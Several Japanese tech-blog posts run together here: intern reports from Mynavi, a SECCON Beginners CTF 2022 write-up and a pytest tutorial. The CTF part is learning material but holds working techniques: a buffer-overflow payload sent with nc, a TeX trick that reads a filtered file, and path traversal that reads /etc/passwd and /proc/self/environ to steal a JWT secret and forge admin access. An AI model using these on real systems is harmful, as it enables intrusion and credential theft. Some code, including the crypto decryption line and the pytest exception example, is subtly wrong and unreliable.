インターン生は週2～3回の出勤のうち半分程度くらいがリモートワークです。 インターン生4人の勤務の曜日も少しずつ違っており、テスト前や用事がある日にはシフトも柔軟に対応していただくことができました。 使用技術 プロジェクトにもよりますが、領域ごとに以下のような技術を使用していました。 フロントエンド React(Next.js, CRA), TypeScript バックエンド Go, Node.js, Python(FastAPI, Flask), Firebase インフラ AWS, GCP インターンシップ内容詳細 ここでは、インターンシップ生4人がそれぞれの業務内容などについて記載していきます。 @soutaschool 情報系の学部に所属している４年生です。2021年8月から2022年6月までインターンに参加しました。 就業型インターンシップ参加まで きっかけは、サポーターズ主催のサマーEXPOでした。様々な夏インターンシップの情報を企業の方々が直接紹介し、質問に答えてくれるイベントでした。このイベントの際にマイナビの人事の方からマイナビ初の就業型インターンシップを開催すると案内があり、応募してみようと思いました。 選考過程では、書類選考とオンライン面接がありました。面接官の方は、今までどんなことをしてきたのかという質問はもちろんのこと、私の エンジニアとしてのマインド の考え方についても深くうなずきながら聞いてくださいました。また、こちらが気になっている点なども逆質問をさせていただき、とても分かりやすく答えてくださったのが印象的です。その結果、ありがたいことに就業型インターンシップに参加させていただくことになりました。 初出勤まで1か月ほど時間があったので、面接時に聞いた技術のキャッチアップやアルゴリズムなどを勉強していました。また、参加にあたっては、今後自身がエンジニアとしてどのように働いてきたいのかを就活前に明確にすること、普段利用しているサービスの裏側がどのように運営されているのかを知ること、エンジニア組織の空気感を知ることなどの目的がありました。 実際にやったこと ハッカソン型インターンシップで利用するWEBアプリのリファクタリングおよび機能実装 社内の新規プロジェクトの設計段階からリリース マイナビジョブサーチ のバックエンド開発 学びと感想 エンジニアとして技術的に成長することができたのはもちろんのこと、それ以上に、「チームで開発を行うことの楽しさ」や「今までにない新しいものを作り出していくことの醍醐味」を心の底から実感することができました。 また社員の皆さんは、業務をする中でつらくなった時にはアドバイスをくださったり、質問に対して真摯に対応してくださることがとても多く、エンジニアとして技術的に優秀なのはもちろん、一人の人間として相手の意見を尊重してプロダクトに落とし込む能力や相手の考えを察して面白いものを作っていくという姿勢は、多くの学びになりました。 ひとつ具体的なエピソードとして、『マイナビジョブサーチ』のバックエンドアーキテクチャについて休憩時間に何気なく雑談をしていた時、その場で思いついた私の突拍子もない意見に社員さんたちが真剣に耳を傾け、考えを細かくヒアリングしてくれたことがありました。そしてなんと、新機能に私の意見を反映させてくれたのです。この出来事は、私のモチベーションに繋がっただけではなく、いいものを開発していきたいという気持ちがより一層強くなりました。 ▲インターン生や社員の立場に関係なく、アイデア・意見は柔軟に取り入れてくれます 最後に、このインターンシップでは、これから社会に出るうえでどのようなフィールドでも通用するようなスキルを学べただけではなく、技術以上に大切なものを知ることができたような気がします。 大変有意義な時間だったので、終わってしまうのは寂しい気持ちでいっぱいですが、インターン生という立場ながらバックエンド・フロントエンドとフルスタックに開発に参加させていただき、一からマイナビの新サービスを作ることに携われたことは、本当に一生モノの経験になりました。 @toshi-bp 経営工学を専攻している大学4年生です。2021年8月から2022年6月までインターンに参加しました。 就業型インターンシップ参加まで 私も@soutaschoolと同様にサポーターズのサマーEXPOでマイナビの就業型インターンの存在を知り、応募をしました。書類選考や面接では、これまでに触れてきた技術に関することやインターン参加に対する軸について聞かれました。 これから何かしらのエンジニアの就業型インターンシップに参加したい方々は下記の点などを念頭に置きながら、開発や選考の準備を進めていくと良いかもしれません。 インターンに参加して何が得たいのか なぜそうしたいと考えたのか そのポートフォリオを作成した背景(なぜ作ったのか、どのような状況で作ったのか、なぜその技術を選定したのかなど) ポートフォリオ作成を通じて何を得ることができたのか 実際にやったこと 社内研修で使用する経営シミュレーションゲームのWebアプリ化 マイナビジョブサーチ のバックエンド開発 ハッカソン型インターンシップで利用するWEBアプリのリファクタリングおよび機能実装 学びと感想 本インターンは、私にとって初めての就業型インターンシップでした。 参加してみて、自分よりもレベルの高い他のインターン生や社員の方々とチームを組んで開発を行うことで、 どのような姿勢でプロダクトに向き合っているのか どのように技術の学習を進めているのか コードを書く上で重要視している点は何か 上記のような、他の人の仕事に対する姿勢を実際に肌で感じて学ぶことができました。 認識の擦り合わせの重要性や、他メンバーとの連携をより取りやすくするためのドキュメントの整備の必要性など、個人開発では得られない知見も多く得られました。技術のキャッチアップはもちろんのこと、そのような知見を得ることは、私にとって、他メンバーと対等に開発を進めていくために必要なものであり、開発に参加し続けるための大きな励みにもなりました。 (恥ずかしながら、私は他メンバーと比較して技術力があるわけではなかったため、彼らに少しでも追いつくために技術を学ぶ必要がありましたが、加えてチーム開発で大切な部分についても学べたことは非常に大きな経験になったと考えています。) 優秀な方々と一緒に開発を進める中で、他のインターン生や社員の方々と仲間(メンバーの一員)になれたことが、本インターンを通して得られた最も大きな収穫であると考えています。 @kajikentaro 大学4年生です。3年生の11月から参加しました。 就業型インターンシップ参加まで 私はマイナビが初めての就業型インターンでした。夏に参加した マイナビ主催のハッカソン型インターンシップ がきっかけで応募をしました。 実際にやったこと Next.jsとtypescriptでトップページのモックを作成（研修） マイナビジョブサーチ のフロントエンド開発 学びと感想 先輩社員にコードレビューをしていただき、普段一人でコーディングするだけでは気がつけない客観的な指摘や、ベストプラクティス、アドバイスなどをいただくことができました。 フロントエンドは3人ほどのチームだったので、積極的に開発に携わらせていただきました。こんなにも多くの開発案件に携わらせてくれるとは思っておらず、本当に貴重な経験をさせてもらいました！ ▲インターンシップ中のコミット数と行数です @aya-se 情報工学を専攻する学部4年生です。 就業型インターンシップ参加まで 私も2021年夏のハッカソンをきっかけに、就業型のインターンシップにも参加することになりました。また、長期のインターンシップは今回が初めてでした。 以前から、Vue.jsやFirebaseなどで個人的にWebアプリケーションを作ったことはありましたが、React.jsやNext.jsはこの就業型インターンシップや前述の夏ハッカソンを機に初めて勉強しました。また、インターンシップ参加前はいわゆるチーム開発の経験がほとんどなく、特にハッカソン参加前は割とGitのコマンド操作も怪しいぐらいのレベル感であったと記憶しています。 フレームワーク等の具体的なキャッチアップとしては、ハッカソン直前にReact.jsの基礎的な参考書を1冊やったり、就業型インターンシップ初期にNext.jsのチュートリアルを進めたりしていました。それ以外は、実際の業務をこなしていきながら自然に勉強していった感じだったと思います。 実際にやったこと マイナビジョブサーチ のデザイン実装や機能実装、および仕様提案 学びと感想 コーディングに関する技術的な発見が多数あったことはもちろんですが、個人的には、「非常に多くの方が携わる大規模な開発の中で、どのようにコミュニケーションを取っていくべきか」といった面でも大きな収穫があったと思っています。特にフロントエンドとしては、デザイン担当の方との仕様の相談や調整は想像していた以上に重要で、「伝えるべきことをいかに正確に、そして簡潔に伝えるか」は、チーム開発をしていく上で非常に大切なことであると実感しました。リモートワークが普及しつつある今、Slackをはじめとしたテキストベースでのやり取りを含め、今後も“気持ちの良い”コミュニケーションの取り方を模索していきたいと思います。 また、社員の方にとても細かくコードレビューをしていただけたことも印象的でした。特に業務を始めたての頃はとても粗の多いコードを提出してしまい、大量のフィードバックをいただいたことを覚えています。他の経験者の方から、客観的な目線で細かくアドバイスをいただける機会は大変貴重なものでした。また逆に、他の人のコードのレビューを任されることもありました。コードのミスをくまなくチェックして指摘するというのもなかなか難しい仕事だと感じましたが、良い練習になりました。 長期インターンで良かったこと チーム開発経験や業務に直結する技術が身につく 個人やチームで趣味の開発をしたりハッカソンなどに参加する機会はあっても、実際に業務のコードを書いている学生は意外と少ないと思います。マイナビでは、ひとつのチームの人数が少ないこともあり、改善点があったら自分で考えて提案・実装できるので、チームのメンバーとして積極的にプロジェクトに関わることができます。 「テストにしか関われない」「言われたことのみをやる」ということは全くありません。 社員の方や同年代の学生との関り合いができる 出社していれば社員さんに直接、オンラインであってもGoogle MeetやSlackなどのコミュニケーションツールを使って、わからないことはすぐに聞くことができます。 また、今期の長期インターンシップ生は4人だったのですが、出社の曜日が合う日はお昼ご飯に一緒に行ったり、インターン中の話や就活状況などの情報交換を行うことができました。 ▲とある日のお昼休み：フリースペースに置いてあったチェスで対戦しました 就活に役立つ 学んだスキルや知識が業務に直結するエンジニアの就活では、実践的な業務経験が重視されることも多いです。インターンを通じて得たことは、ガクチカや自己ＰＲにとても役立ちました。また、開発エンジニアの仕事が自分に合っているかを確かめる良い機会にもなりました。 まとめ 技術やスキルの学びはもちろんのこと、開発プロジェクトの進行について、仕事に臨む姿勢についての学びもありました。何より、実際にエンジニアやプログラマーを目指すうえで、「将来もこの仕事がしたい！」と思えたことが大きな自信につながりました。約半年から1年のインターンでしたが、とても楽しく参加することができました。マイナビの皆さん、本当にありがとうございました！ 最後に、もし、この記事を読んでいるあなたが少しでもエンジニアの長期インターンに興味があれば、ぜひマイナビのインターンシップに挑戦をしていただきたいです！ この記事が、マイナビのエンジニアに興味を持ってもらうきっかけになれば幸いです！

前編はこちら 本記事はpicoCTF 2022のWriteup（前編）の続きです。 ###card_post_id=826### pwnable BeginnerBof プログラムをみると、main関数内で fgets関数を利用しています。Buffer Overflow が狙えそうです。 この関数の戻りアドレスを Buffer Overflow で書き換え、win関数に遷移させることでフラグが入手できそうです。 gdb (PEDA拡張付き)を利用し、①fgets関数実行直後のスタックの状態 を調べます。 objdumpコマンドで遷移させる ②win関数のアドレス を調べます。 $ objdump -t chall | grep win00000000004011e6 g F .text 000000000000007d win ①②の2つの情報から、入力すべきデータが分かりました。実際に実行してフラグを入手します。 $ printf '49\n0123456789012345678901234567890123456789\xe6\x11\x40\x0\x0\x0\x0\x0' | nc beginnersbof.quals.beginners.seccon.jp 9000How long is your name?What's your name?Hello 0123456789012345678901234567890123456789�@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}Segmentation fault raindrop おぼえていますか? nc raindrop.quals.beginners.seccon.jp 9001 raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46 特に言うことなしの人です。 22時から開始して朝4時まで格闘。起床してからもずっと格闘していましたが、終ぞ解けませんでした。 タイトルどおりROPを狙いに行く問題だと思い、 vuln関数内の read に対してオーバーフロー起こして system('/bin/sh') をコールしてシェルを奪取する感じだと思い、ずっとこねくりまわしていました。 void vuln() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; read(0, buf, 0x30); puts("bye!"); show_stack(buf);} ただ /bin/sh のアドレスがわからず「マジで難しくない…？ほんとにこれがeasy…？」ってなりました。 （朝4時） reversing Quiz 逆コンパイルや逆アセンブラも試しましたが、結局は strings コマンドでも フラグが取れました。 $ strings quiz | grep ctf4bctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} Recursive リバースエンジニアリングツール Ghidra でダウンロードした実行バイナリをデコンパイルします。 関数check がフラグの妥当性をチェックする関数と分かります。 undefined8 check(char *param_1,int param_2){ int iVar1; int iVar2; int iVar3; size_t sVar4; char *pcVar5; sVar4 = strlen(param_1); iVar3 = (int)sVar4; if (iVar3 == 1) { if (table[param_2] != *param_1) { return 1; } } else { iVar1 = iVar3 / 2; pcVar5 = (char *)malloc((long)iVar1); strncpy(pcVar5,param_1,(long)iVar1); iVar2 = check(pcVar5,param_2); if (iVar2 == 1) { return 1; } pcVar5 = (char *)malloc((long)(iVar3 - iVar1)); strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1)); iVar3 = check(pcVar5,iVar1 * iVar1 + param_2); if (iVar3 == 1) { return 1; } } return 0;} 変数名など非常に解読しづらいですが、なんとか読めます。 python3で記述すると以下のような関数です。 def check(s: str, i: int) -> bool: l = len(s) if l == 1: return table[i] == s else: h = l // 2 return check(s[:h], i) and check(s[h:], h * h + i) フラグはバイナリのmain関数から38文字と分かっています。 これを逆解析する処理をpythonで記述すると以下のとおりです。 def solve(i: int, length: int) -> str: if length == 1: return table[i] else: h = length // 2 return solve(i, h) + solve(i + h * h, length - h)flag = solve(0, 38)print(flag)print("check:", check(flag, 0)) crypto CoughingFox これは近代的な暗号の知識が不要な問題です。 実直に複合プログラムを実装して、フラグを入手します。 cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]def solve() -> str: for i in range(len(cipher)): s = [chr(c) for c in range(32, 128) if (c + i) ** 2 + i in cipher] if len(s) != 1: raise "decrypt error" yield s[0]print(*solve(), sep="") PrimeParty nc コマンドでサーバーにつなぐと、4つのランダムな素数が選ばれて、ユーザには3つ整数の入力を求められる。 [*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] Do you want to invite more guests? > 3 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 7 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 5 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-n = 4004010545354487155134564423760393760628501822648175413485182403177802614497075083081182871142220683183557620516756004878516975932858973203260775712393382486169226826588778865850046172282431818404573401295548665402655542135864623672522705582354620536818733452475391502972892348382776846641213215684323978472895e = 65537cipher = 121704966078479187399961267434675399383069953478329222718742231454820171887448985921148428703591817131480017620241185738604457598736158812775226455348391419990103216749070153064390290750749137854194363776138035694542075230511050030917515938266383908268072173261379715604042999949226506925007130601447660721627 ここで、 n は、サーバ側でランダムに設定された素数４つと、ユーザ入力の３つの整数のうち素数を全てかけ合わせた数である。 e は65537で固定である。 cipher の値は、次のように計算されている。 cipher = pow(flag, e, n) これってRSA暗号に似てるので、 e に対応する d を決めて、 flag = pow(cipher, d, n) を計算すればいいんじゃね？と思ったが、 d を決めるためには、 n を素因数分解しないといけないので、ほかの手段はないの？とぐるぐるしていたら間に合わなかった。 作問者のWriteUpをみて、次のように解けばよいとわかりました。 pが素数で、nが平方因子のない自然数であるとき ①オイラーの定理 \(t \equiv 1\pmod {p−1}⇒ a^t \equiv a\pmod p\) ② FLAGより大きな素数 p を求める (455bitより大きいサイズであればOK) ③ \(ed \equiv 1\pmod {p−1}\)なる\(e\)を探す ④ \(cipher\)を\(p\)で割った余りを\(r\)とする。 ①、③より$$ r^d \equiv X^{ed} \equiv X \pmod p $$がいえて、②より、この条件を満たす\(X\)のうち最小のものがFLAGである。 ③のような\(d\)は次のプログラムで求められるらしい pow(e, -1, p-1) ②の素数は、\(2^{455}\)がだいたい137ケタなので、138ケタ以上の素数を探して持ってくればよい。 https://ja.wikipedia.org/wiki/%E5%B7%A8%E5%A4%A7%E3%81%AA%E7%B4%A0%E6%95%B0%E3%81%AE%E4%B8%80%E8%A6%A7 ここから、メルセンヌ素数 \(M_{521}=2^{521}-1\)を使えばよさそう In [6]: 2**521 - 1Out[6]: 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151 https://www2.math.kyushu-u.ac.jp/~snii/RSA.pdf 以上より d = pow(e, -1, p-1)flag_int = cipher ** d welcome 完走した感想 昨年参加したときは上位15％ほどでしたが、今回は上位7％とかなりいいところまで行けたと思います。すごい！ 昨年同様になってしまいますが、 pwnable と reversing 、 crypto は回答チームも少なく、差が出るポイントかなと思いました。 というかマジでこの3ジャンルは難しい。だれか強い人おらんかぁ？ 待っています！ ※サムネ画像ロゴは『SECCON Beginners CTF』より引用

2022年6月4日〜5日に開催されたSECCON Beginners CTF 2022にチームマイナビで参加しました。 本記事はそのWriteupとなります。 概要 CTF（Capture the Flag）とは、情報セキュリティの知識を使うセキュリティコンテストの一つです。 いくつかのジャンルに分かれており、例えば リバースエンジニアリングによって実行ファイルの脆弱性をつく Webアプリの脆弱性をつく ファイル内に隠された情報を抜き取る などの、そういった攻撃をして隠された『Flag』を手に入れることを目的としています。 今回、国内のCTFの中で最大となるSECCONが開催しているビギナー向けのコンテストに参加しました。 ※ちなみに昨年も参加しています。 結果 結果は891チーム中63位でした！ 結果 解いた問題のカテゴリ割合 メンバー メンバー 紹介（筆者の偏見が混じっています） S.H.さん チームmnsecのポイントゲッター S.R.さん おいおい知らねえぜ、俺が全完しててもよォ S.T.さん 期待のにゅーふぇいす M.W.（私） 特に言うことなし 流れ Writeup web textex 課題ページ( https://textex.quals.beginners.seccon.jp/ )に移動し、適当にTeX文書を入力すると、コンパイルされてPDFが返ってくるというアプリケーションが実装されている。 サーバのソースコードを見てみると、flag というファイルがあるので、その中をTeX経由で覗くと正解が得られると考えられる。 ファイルの中身をそのまま展開することのできる\verbatiminputコマンドでやろうとする。 \documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{../../flag}\end{document} しかし、TeXのソースコードに flagという文字列が含まれているとエラーになるように app.pyが実装されている。 # No flag !!!!if "flag" in tex_code.lower(): tex_code = "" そこで、 flagというファイル名を、マクロで分解して、TeXで展開した時に flagに見えるようにするとフラグの中身を覗くことができる。 \documentclass{article}\usepackage{verbatim}\newcommand{\fl}{fl}\newcommand{\ag}{ag}\begin{document}\verbatiminput{../../\fl\ag}\end{document} gallery 絵文字のギャラリーサービスからフラグを取得する問題です。 https://gallery.quals.beginners.seccon.jp/?file_extension=flaにアクセスすると、flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfというファイルが存在していることが分かります。 こちらはブラウザからそのままダウンロードはできません。 サーバーサイドアプリケーションで10,240バイト以上のレスポンスは、そのまま返さないように制限がかけれているからです。 Rangeヘッダを利用して、10,000バイトづつに分割してダウンロードし、それらを結合できればよさそうです。 参考: https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Range $ curl 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' -H 'Range: bytes=0-9999' --output 0.bin$ curl 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' -H 'Range: bytes=10000-19999' --output 1.bin$ cat 0.bin 1.bin > test.pdf 無事、フラグを取得できました。 Ironhand お題としてWebサイトが与えられます。ユーザー名を指定してログインすると、user（一般ユーザー）としてログインします。テキストを読むに、adminとしてログインするとflagをもらえそうです。 Cookieを確認すると、JWT（JSON Web Token）が与えられていました。デコードすると、 IsAdmin というパラメータを持っていることが分かります。現在 false になっていますが、これを true にすれば万事解決……しません。なぜなら、JWTはヘッダー部、ペイロード部、およびヘッダー部とペイロード部を結合した文字列のデジタル署名からなり、 IsAdmin だけを変更すると、署名検証が失敗するからです。署名は改ざん検知に有用だということがよく分かります。 adminになるためには適切な署名を生成する必要があり、そのためには署名に使われたシークレットを入手しなければなりません。提供されているアプリのコードを読むと、署名に使われたシークレットである JWT_SECRET_KEY は、アプリケーションの環境変数として宣言されていることが分かります。 コードを追っていくと、 /static/:path にきな臭さを感じます。具体的には、静的ファイルの配信ならNginxでやればいいのに、わざわざアプリケーションでやっているあたりが臭いです。 更に、Nginxの設定ファイルにも merge_slashes off という馴染みのないオプションがあります。URLにスラッシュをたくさん投げてくれと言わんばかりです。 検証の結果、案の定 /static/:path にパストラバーサル脆弱性があることが分かりました。画像は脆弱性を利用して、本来表示できないはずの /etc/passwd を表示しているところです。 パストラバーサルを使ってどうやって環境変数を窃視するかというと、 /proc/self/environ を呼び出すことで、アプリケーションの環境変数を含むファイルを取得できます。 JWT_SECRET_KEY が含まれていることが分かります。 あとは、 IsAdmin を true を変更して、 JWT_SECRET_KEY を使った正しい署名を含むJWTを作ったら、ブラウザのCookieを書き換えて更新してやればflagです。 なお、この問題には刺さりませんが、 alg: none にして署名検証そのものをバイパスするという手法・脆弱性もあるみたいです。その発想はなかった。いずれにせよ、パストラバーサル怖～～というのが教訓です。 後編へ続く・・ ###card_post_id=817### ※サムネ画像ロゴは『SECCON Beginners CTF』より引用

導入編 テストは大きく分けて3種類 ユニットテスト　⇐本メモで触れます 結合テスト ステージングテスト（非機能要件テスト） コードレビューの関心ごと ロジックに問題がないか 実行時制約など非機能要件の満足に影響がないか コードの可読性 このうち、1.のロジックの正当性は、フローを目で追っていかないといけないので負荷が高いですよね。 しかも、一度正常に動いていても、少し変えただけでまたロジックの正当性を確認しないといけません。 また、レビューする側も人間ですから、失敗する可能性もあり多少の不安は残るでしょう。 つまり、確実かつ効率よくロジックの正当性を確認する必要があります。 主な目的は、 目視で正当性を確認しなければならない個所を減らす ことになります。 そこでユニットテストですよ テストケースを正しく書けば、プログラムロジックの正しさを証明できる！ つまり、ユニットテストをPASSすることで自信をもってデプロイできる！ いやぁ、 素晴らしき 哉 かな ユニットテスト！ テストはいつ書くの? 個人的には実装する 前 に書く方が良いです。 「テスト駆動開発」といい、テストを先に書いて、そのテストが通るようにコードを書く これが、「コードが満たすべき条件」を定義することになる。要件をコードで持っておくような感じ。 つまり、 「テストを書く」→「実装する」→「テストを通す」→「レビューする」→「マージする」 この繰り返しになります。 テストに落としこみにくいとか、緊急で実装したくてテストを書く余裕がないような場合は、後回しでもよいと思います。でもちゃんと手元での動作確認はしましょう。そして、テストは後でちゃんと書きましょう。 Pythonでのテスティングフレームワーク Pythonに限らずですが、大体のプログラミング言語にはこのユニットテストようのライブラリが開発されています。 Pythonの場合、次のような二大派閥があります。 一番手軽な unittest デフォルトで入っています。テスト用にテストライブラリをインストールするといった手間が省けます。 テストフレームワーク pytest unittestのラッパーみたいな感じで、拡張機能などが豊富にあります。 VSCodeのPythonプラグインと連携して、テストが通っているかどうか視覚的に確認できるので便利です。 こちらはOSSライブラリとなりますので、pipenv install --dev pytestで開発用にインストールしましょう。 「開発用にインストール」とは、本番稼働にpytestは不要なので手元の作業環境にだけインストールすることです。 他にも、 tox さまざまな環境(pythonバージョン)での動作をテストするための設定を簡単にかける。 オープンソースのリポジトリなどで導入されているのをよく見かけます。 なんてものもあります。 私がpytest派なので、次からpytestについて書いていこうと思います。 テストの基本編 pytestをインストールしよう pytestはほとんどの場合は、本番稼働時には不要なので、pipenvにおいて次のように--devオプションをつけることで、pipenv syncしたときにはインストールされないようにすることができます。 pipenv install --dev pytest pipならこうです。 pip install pytest ソースコード構成 最もよくとられるソースコード構成は、次のようになっています。 ① tests ディレクトリをルートに作成する ② 本体コードと同じ構成で、test_を接頭辞にもつ.pyファイルを作成する ここでは次のような構成であるとして進めていきます。 <project_root>|+- src/| `- game.py+- tests/ `- src/ `- test_game.py テストを先に書く では、今回は例として、game.pyに、「丁半」のゲームのジャッジを行うメソッドを書くことにしましょう。 丁半とは、次のようなルールの賭博です。 サイコロ２つを振って出る合計の目が偶数になると思ったら「丁」、奇数になると思ったら「半」に賭ける。 ひっくり返した茶碗の中で、サイコロ２つを振る。 予想が当たればお金が倍になる。外れればお金は没収される。 今回は、サイコロ２つを振った合計が偶数か奇数かを判定するメソッドを書きますが、その前にテストを定義します。 tests/src/test_game.pyに次のように記載します。 # tests/src/test_game.pyfrom src.game import judge_chouhandef test_judge_chouhan_odd(): assert judge_chouhan(1, 2) == '半'def test_judge_chouhan_even(): assert judge_chouhan(2, 4) == '丁' ポイントは、この時点で judge_chouhan()の中身は定義されていない ことです。 つまり、「出目が1と2ならば'半'を返す」、「出目が2と4ならば'丁'を返す」という２つの「テストケース」を定義したことになります。 なお、このようにテスト対象のモジュールの中身を知ることなく、入出力にだけ着目して行うテストのことを「 ブラックボックステスト 」と呼びます。 この状態でテストを実行してみましょう。 pipenv run pytest -v もちろん失敗しますが、「まず失敗するテストを書く」のが重要です。 ここから、「 このテストが通るように 」コードを実装していきます。 # src/test_game.pydef judge_chouhan(n1: int, n2: int) -> str: """n1とn2の合計が偶数なら'丁', 奇数なら'半'を返す。 Args: n1, n2 (int): さいころの出目 Return: str : '丁' or '半' """ if (n1 + n2) % 2 == 0: return '丁' else: return '半' 実装したら、もう一度テストを実行しましょう。 pipenv run pytest -v 例外が発生することをテストする with pytest.raises()ブロック内で、例外が発生するケースを呼び出すことで、 例外が発生するかどうかをテストすることができます。 サイコロの目が1～6以外が指定されたら例外が発生するように変えてみましょう。 まずはテストケースを追加します。 # tests/src/test_game.pyimport pytestdef test_judge_chouhan_exception(): """１～６以外の値が入ったときに例外が発生するかどうかテストする""" with pytest.raises(ValueError) as excinfo: judge_chohan(7, 1) # 例外メッセージをテストする assert str(excinfo.value) == "invalid eyes of die: n1 = 7" そして本体コードに例外処理を追加しましょう。 # src/test_game.pydef judge_chouhan(n1: int, n2: int) -> str: """n1とn2の合計が偶数なら'丁', 奇数なら'半'を返す。 Args: n1, n2 (int): さいころの出目 Return: str : '丁' or '半' Raises: ValueError: 不正なサイコロの目が入力された場合 """ assert (n1 - 1) * (n1 - 6) <= 0, ValueError("invalid eyes of die: n1 = %d" % n1) assert (n2 - 1) * (n2 - 6) <= 0, ValueError("invalid eyes of die: n2 = %d" % n2) if (n1 + n2) % 2 == 0: return '丁' else: return '半' mock編 関数が実行されたかどうかのテスト pytest-mockを使えば、テスト実行時だけ、メソッドやクラスを「実行したフリ」をすることができます。 たとえば、あるモデルの学習を行うメソッドsome_model.train()が次のようになっているとします。 # some_model.pyfrom sklearn.linear_model import LogisticRegressiondef train(params: Dict): """paramsをハイパーパラメータとして学習する。""" X, y = get_data() clf = LogisticRegression(**params) clf.fit(X, y) return clf そして、それを使ってハイパーパラメータ調整を行うsome_model.grid_search()が次のようになっているとします。 # some_model.pyfrom sklearn.model_selection import ParameterGriddef grid_search(param_grid: Dict[str, List]): """param_gridから探索空間を生成し、その空間でグリッドサーチを行う。""" param_grid = ParameterGrid(param_grid) for hparam in param_grid: clf = train(hparam) : (中略) return best_model ここで、これらのメソッドが正常に作動するかどうかテストします。テスト要件は次の通りです。 train()は、paramsをディクショナリで受け取って、LogisticRegressionオブジェクトを返す。 grid_search()は、グリッドサーチの探索空間(引数のparam_grid)を次のように文字列->リストのディクショナリ型で受け取る。それをもとにグリッドサーチの探索空間(直積)を生成し、そのすべての要素についてtrain()を実行する。もっともよい性能を示したLogisticRegressionオブジェクトを返す。 # param_grid{'regularization': ['l1', 'l2', 'l1_l2'], 'loss': ['rmse', 'mae']} この２つのメソッドをテストしようとすると、grid_search()のテストでtrain()を何度も実行することになるので、train()の実行時間が長いとgrid_search()がとても長くなり非効率です。 grid_search()はtrain()が正常に動作すれば、あとは最高の性能を示したモデルを返すだけなので、 train()が正しく動作することを確認する grid_search()が、与えたハイパーパラメータから生成される探索空間のすべての要素に対して実行されることを確認する だけでよいはずです。 train()が正しく動作することを確認するのはtrain()のテストで可能なので、grid_search()のテストで関心があるのはtrain()がどのパラメータで実行されたか、だけです。 そこで、grid_search()のテスト時にtrain()を実行せずに、実行時のパラメータだけを確認したいときに使うのがpytest-mockです。 テストメソッドは次のようになります。 # test_some_model.pyfrom sklearn.linear_model import LogisticRegressiondef test_grid_search(mocker): """ some_model.grid_search()のユニットテスト。 実際に実行するときは探索空間すべてに対してtrain()を実行するが、 ユニットテストではtrain()を実行することなく、どのパラメータで実行されたかだけを確認する。 """ mocker.patch("some_model.train", return_value=LogisticRegression()) from some_model import grid_search param_grid = {"hp_a": [1, 2], "hp_b": [3, 4]} clf = grid_search(param_grid) ポイントはmocker.patchを実行する位置です。 モックしたいモジュールが直接ないし間接的にimportされる前に mocker.patch をしないとモックしてくれません。 from some_model import grid_searchを実行すると、同時にsome_model.py内で作成されているtrainもロードされてしまうため、先にimportを実行してしまうとモックが効かなくなります。そのため上記のコード例のようにimportする前にモックする必要があるのです。